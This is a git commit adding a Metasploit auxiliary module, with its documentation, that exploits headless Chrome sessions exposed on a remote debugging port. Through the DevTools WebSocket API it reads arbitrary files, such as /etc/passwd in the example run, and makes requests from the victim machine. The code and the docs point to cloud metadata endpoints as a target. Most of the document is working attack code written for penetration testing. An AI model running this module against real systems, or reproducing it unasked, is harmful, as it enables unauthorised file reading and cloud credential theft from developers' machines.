Adding Chrome Debugger Gather Auxiliary Module
This module can retrieve a file from a remote host that is running a chrome session in headless mode on all network interfaces. It can also make a web request from the remote host and send back the full contents.
This commit is contained in:
parent
4d05287412
commit
f77497883b
|
@ -0,0 +1,46 @@
|
|||
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
|
||||
|
||||
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specifiedfile off the remote file system, or makes a web request from the remote machine.
|
||||
|
||||
## Headless Chrome Sessions
|
||||
|
||||
A vulnerable Headless Chrome session can be started with the following command:
|
||||
|
||||
```
|
||||
$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0
|
||||
```
|
||||
|
||||
This will start a webserver running on port 9222 for all network interfaces.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Execute `auxiliary/gather/chrome_debugger`
|
||||
3. Execute `set RHOST $REMOTE_ADDRESS`
|
||||
4. Execute `set RPORT 9222`
|
||||
5. Execute either `set FilePath $FILE_PATH_ON_REMOTE` or `set Url $URL_FROM_REMOTE`
|
||||
6. Execute `run`
|
||||
|
||||
## Options
|
||||
|
||||
* FilePath - The file path on the remote you wish to retrieve
|
||||
* Url - A URL you wish to fetch the contents of from the remote machine
|
||||
|
||||
**Note:** One or the other must be set!
|
||||
|
||||
## Example Run
|
||||
|
||||
```
|
||||
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
|
||||
[*] Opened connection
|
||||
[*] Attempting to load url file:///etc/passwd
|
||||
[*] Received Data
|
||||
[*] Sending request for data
|
||||
[*] Received Data
|
||||
[+] Retrieved resource
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
|
|
@ -203,4 +203,8 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'aws-sdk-s3'
|
||||
spec.add_runtime_dependency 'aws-sdk-ec2'
|
||||
spec.add_runtime_dependency 'aws-sdk-iam'
|
||||
|
||||
# Needed for WebSocket Support
|
||||
spec.add_runtime_dependency 'faye-websocket'
|
||||
spec.add_runtime_dependency 'eventmachine'
|
||||
end
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
|
||||
'Description' => %q{
|
||||
This module uses the Chrome Debugger's API to read
|
||||
files off the remote file system, or to make web requests
|
||||
from a remote machine. Useful for cloud metadata endpoints!
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
|
||||
'Nicholas Starke (The King Pig Demon)' # msf module
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
],
|
||||
'DisclosureDate' => 'Sep 24 2019',
|
||||
'DefaultOptions' => {
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(9222),
|
||||
OptString.new('FilePath', [ false, 'File to fetch from remote machine.']),
|
||||
OptString.new('Url', [ false, 'Url to fetch from remote machine.'])
|
||||
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('Proxies')
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/json',
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
if datastore['FilePath'].empty? and datastore['Url'].empty?
|
||||
print_error('Must set FilePath or Url')
|
||||
return
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error('Bad Response')
|
||||
else
|
||||
data = JSON.parse(res.body).pop
|
||||
EM.run {
|
||||
file_path = datastore['FilePath']
|
||||
url = datastore['Url']
|
||||
|
||||
if file_path
|
||||
fetch_uri = "file://#{file_path}"
|
||||
else
|
||||
fetch_uri = url
|
||||
end
|
||||
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
|
||||
|
||||
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
|
||||
|
||||
driver.on :open do |event|
|
||||
print_status('Opened connection')
|
||||
id = rand(1024 * 1024 * 1024)
|
||||
|
||||
EM::Timer.new(1) do
|
||||
print_status("Attempting to load url #{fetch_uri}")
|
||||
driver.send({
|
||||
'id' => id,
|
||||
'method' => 'Page.navigate',
|
||||
'params' => {
|
||||
'url': fetch_uri,
|
||||
}
|
||||
}.to_json)
|
||||
end
|
||||
|
||||
EM::Timer.new(3) do
|
||||
print_status('Sending request for data')
|
||||
driver.send({
|
||||
'id' => id + 1,
|
||||
'method' => 'Runtime.evaluate',
|
||||
'params' => {
|
||||
'expression' => 'document.documentElement.outerHTML'
|
||||
}
|
||||
}.to_json)
|
||||
end
|
||||
end
|
||||
|
||||
driver.on :message do |event|
|
||||
print_status("Received Data")
|
||||
|
||||
data = JSON.parse(event.data)
|
||||
|
||||
if data['result']['result']
|
||||
print_good('Retrieved resource')
|
||||
store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
|
||||
end
|
||||
end
|
||||
|
||||
EM::Timer.new(10) do
|
||||
EventMachine.stop
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue